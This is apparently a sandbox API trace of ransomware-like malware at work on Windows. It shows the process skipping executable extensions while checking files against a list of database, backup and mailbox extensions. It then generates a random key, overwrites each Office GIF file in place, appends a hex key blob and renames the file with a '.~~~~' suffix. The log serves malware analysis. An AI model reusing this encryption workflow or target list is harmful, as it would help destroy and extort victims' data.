	[0141.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif.~~~~")) returned 1
	[0141.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aec08 | out: hHeap=0x300000) returned 1
	[0141.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.371] GetLastError () returned 0x0
	[0141.371] RtlWakeConditionVariable () returned 0x0
	[0141.371] GetCurrentThreadId () returned 0x9f4
	[0141.371] GetCurrentThreadId () returned 0x9f4
	[0141.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aec08
	[0141.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aed58 | out: hHeap=0x300000) returned 1
	[0141.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38e8 | out: hHeap=0x300000) returned 1
	[0141.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aed58
	[0141.372] lstrlenW (lpString=".scr") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".scr") returned 0x0
	[0141.372] lstrlenW (lpString=".cmd") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".cmd") returned 0x0
	[0141.372] lstrlenW (lpString=".dll") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dll") returned 0x0
	[0141.372] lstrlenW (lpString=".bat") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".bat") returned 0x0
	[0141.372] lstrlenW (lpString=".cpl") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".cpl") returned 0x0
	[0141.372] lstrlenW (lpString=".sys") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".sys") returned 0x0
	[0141.372] lstrlenW (lpString=".msc") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".msc") returned 0x0
	[0141.372] lstrlenW (lpString=".com") returned 4
	[0141.372] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".com") returned 0x0
	[0141.372] lstrlenW (lpString=".lnk") returned 4
	[0141.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".lnk") returned 0x0
	[0141.373] lstrlenW (lpString=".msp") returned 4
	[0141.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".msp") returned 0x0
	[0141.373] lstrlenW (lpString=".pif") returned 4
	[0141.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".pif") returned 0x0
	[0141.373] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.373] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0141.376] lstrlenW (lpString=".sqb") returned 4
	[0141.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".sqb") returned 0x0
	[0141.376] lstrlenW (lpString=".ost") returned 4
	[0141.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".ost") returned 0x0
	[0141.376] lstrlenW (lpString=".txt") returned 4
	[0141.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".txt") returned 0x0
	[0141.376] lstrlenW (lpString=".mdt") returned 4
	[0141.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".mdt") returned 0x0
	[0141.376] lstrlenW (lpString=".BDB") returned 4
	[0141.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".BDB") returned 0x0
	[0141.376] lstrlenW (lpString=".eql") returned 4
	[0141.376] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".eql") returned 0x0
	[0141.377] lstrlenW (lpString=".DBF") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DBF") returned 0x0
	[0141.377] lstrlenW (lpString=".EQL") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".EQL") returned 0x0
	[0141.377] lstrlenW (lpString=".FDB") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".FDB") returned 0x0
	[0141.377] lstrlenW (lpString=".EDB") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".EDB") returned 0x0
	[0141.377] lstrlenW (lpString=".DACPAC") returned 7
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.377] lstrlenW (lpString=".VHD") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".VHD") returned 0x0
	[0141.377] lstrlenW (lpString=".DBV") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DBV") returned 0x0
	[0141.377] lstrlenW (lpString=".dacpac") returned 7
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.377] lstrlenW (lpString=".sdf") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".sdf") returned 0x0
	[0141.377] lstrlenW (lpString=".accdb") returned 6
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".accdb") returned 0x0
	[0141.377] lstrlenW (lpString=".DBX") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DBX") returned 0x0
	[0141.377] lstrlenW (lpString=".MDT") returned 4
	[0141.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".MDT") returned 0x0
	[0141.377] lstrlenW (lpString=".SQB") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".SQB") returned 0x0
	[0141.378] lstrlenW (lpString=".vhd") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".vhd") returned 0x0
	[0141.378] lstrlenW (lpString=".bac") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".bac") returned 0x0
	[0141.378] lstrlenW (lpString=".mdf") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".mdf") returned 0x0
	[0141.378] lstrlenW (lpString=".BAK") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".BAK") returned 0x0
	[0141.378] lstrlenW (lpString=".BAC") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".BAC") returned 0x0
	[0141.378] lstrlenW (lpString=".dbs") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dbs") returned 0x0
	[0141.378] lstrlenW (lpString=".vhdx") returned 5
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.378] lstrlenW (lpString=".NDF") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".NDF") returned 0x0
	[0141.378] lstrlenW (lpString=".dat") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dat") returned 0x0
	[0141.378] lstrlenW (lpString=".DBS") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DBS") returned 0x0
	[0141.378] lstrlenW (lpString=".CKP") returned 4
	[0141.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".CKP") returned 0x0
	[0141.378] lstrlenW (lpString=".edb") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".edb") returned 0x0
	[0141.379] lstrlenW (lpString=".PST") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".PST") returned 0x0
	[0141.379] lstrlenW (lpString=".dbf") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dbf") returned 0x0
	[0141.379] lstrlenW (lpString=".SQL") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".SQL") returned 0x0
	[0141.379] lstrlenW (lpString=".pst") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".pst") returned 0x0
	[0141.379] lstrlenW (lpString=".dbv") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dbv") returned 0x0
	[0141.379] lstrlenW (lpString=".SDF") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".SDF") returned 0x0
	[0141.379] lstrlenW (lpString=".dtxs") returned 5
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.379] lstrlenW (lpString=".db3") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".db3") returned 0x0
	[0141.379] lstrlenW (lpString=".OST") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".OST") returned 0x0
	[0141.379] lstrlenW (lpString=".dbx") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dbx") returned 0x0
	[0141.379] lstrlenW (lpString=".DB3") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DB3") returned 0x0
	[0141.379] lstrlenW (lpString=".DAT") returned 4
	[0141.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DAT") returned 0x0
	[0141.379] lstrlenW (lpString=".VHDX") returned 5
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.380] lstrlenW (lpString=".ndf") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".ndf") returned 0x0
	[0141.380] lstrlenW (lpString=".DB") returned 3
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DB") returned 0x0
	[0141.380] lstrlenW (lpString=".sql") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".sql") returned 0x0
	[0141.380] lstrlenW (lpString=".MYD") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".MYD") returned 0x0
	[0141.380] lstrlenW (lpString=".DBT") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DBT") returned 0x0
	[0141.380] lstrlenW (lpString=".ACCDB") returned 6
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.380] lstrlenW (lpString=".fdb") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".fdb") returned 0x0
	[0141.380] lstrlenW (lpString=".bak") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".bak") returned 0x0
	[0141.380] lstrlenW (lpString=".myd") returned 4
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".myd") returned 0x0
	[0141.380] lstrlenW (lpString=".DTXS") returned 5
	[0141.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.380] lstrlenW (lpString=".ckp") returned 4
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".ckp") returned 0x0
	[0141.381] lstrlenW (lpString=".dbt") returned 4
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".dbt") returned 0x0
	[0141.381] lstrlenW (lpString=".db") returned 3
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".db") returned 0x0
	[0141.381] lstrlenW (lpString=".TXT") returned 4
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".TXT") returned 0x0
	[0141.381] lstrlenW (lpString=".MDF") returned 4
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".MDF") returned 0x0
	[0141.381] lstrlenW (lpString=".bdb") returned 4
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".bdb") returned 0x0
	[0141.381] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.381] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0141.383] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.383] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.383] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26137318158) returned 1
	[0141.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbdad2890, dwHighDateTime=0x1d60e1e)) 
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a38e8
	[0141.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38e8 | out: hHeap=0x300000) returned 1
	[0141.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae818
	[0141.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae818 | out: hHeap=0x300000) returned 1
	[0141.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0141.384] GetLastError () returned 0x0
	[0141.385] GetLastError () returned 0x0
	[0141.385] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0141.385] GetLastError () returned 0x0
	[0141.385] GetLastError () returned 0x0
	[0141.385] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x3026, lpOverlapped=0x0) returned 1
	[0141.388] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffcfda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.388] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3026, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x3026, lpOverlapped=0x0) returned 1
	[0141.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.388] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.388] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.388] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.388] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.389] CloseHandle (hObject=0x108) returned 1
	[0141.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae818
	[0141.389] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif.~~~~")) returned 1
	[0141.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae818 | out: hHeap=0x300000) returned 1
	[0141.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.392] GetLastError () returned 0x0
	[0141.393] RtlWakeConditionVariable () returned 0x0
	[0141.393] GetCurrentThreadId () returned 0x9f4
	[0141.393] GetCurrentThreadId () returned 0x9f4
	[0141.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aec08
	[0141.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aee00 | out: hHeap=0x300000) returned 1
	[0141.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38b0 | out: hHeap=0x300000) returned 1
	[0141.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aee00
	[0141.393] lstrlenW (lpString=".scr") returned 4
	[0141.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".scr") returned 0x0
	[0141.393] lstrlenW (lpString=".cmd") returned 4
	[0141.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".cmd") returned 0x0
	[0141.393] lstrlenW (lpString=".dll") returned 4
	[0141.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dll") returned 0x0
	[0141.393] lstrlenW (lpString=".bat") returned 4
	[0141.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".bat") returned 0x0
	[0141.393] lstrlenW (lpString=".cpl") returned 4
	[0141.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".cpl") returned 0x0
	[0141.393] lstrlenW (lpString=".sys") returned 4
	[0141.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".sys") returned 0x0
	[0141.394] lstrlenW (lpString=".msc") returned 4
	[0141.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".msc") returned 0x0
	[0141.394] lstrlenW (lpString=".com") returned 4
	[0141.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".com") returned 0x0
	[0141.394] lstrlenW (lpString=".lnk") returned 4
	[0141.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".lnk") returned 0x0
	[0141.394] lstrlenW (lpString=".msp") returned 4
	[0141.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".msp") returned 0x0
	[0141.394] lstrlenW (lpString=".pif") returned 4
	[0141.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".pif") returned 0x0
	[0141.394] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch="msp\r\n.pif") returned 0x0
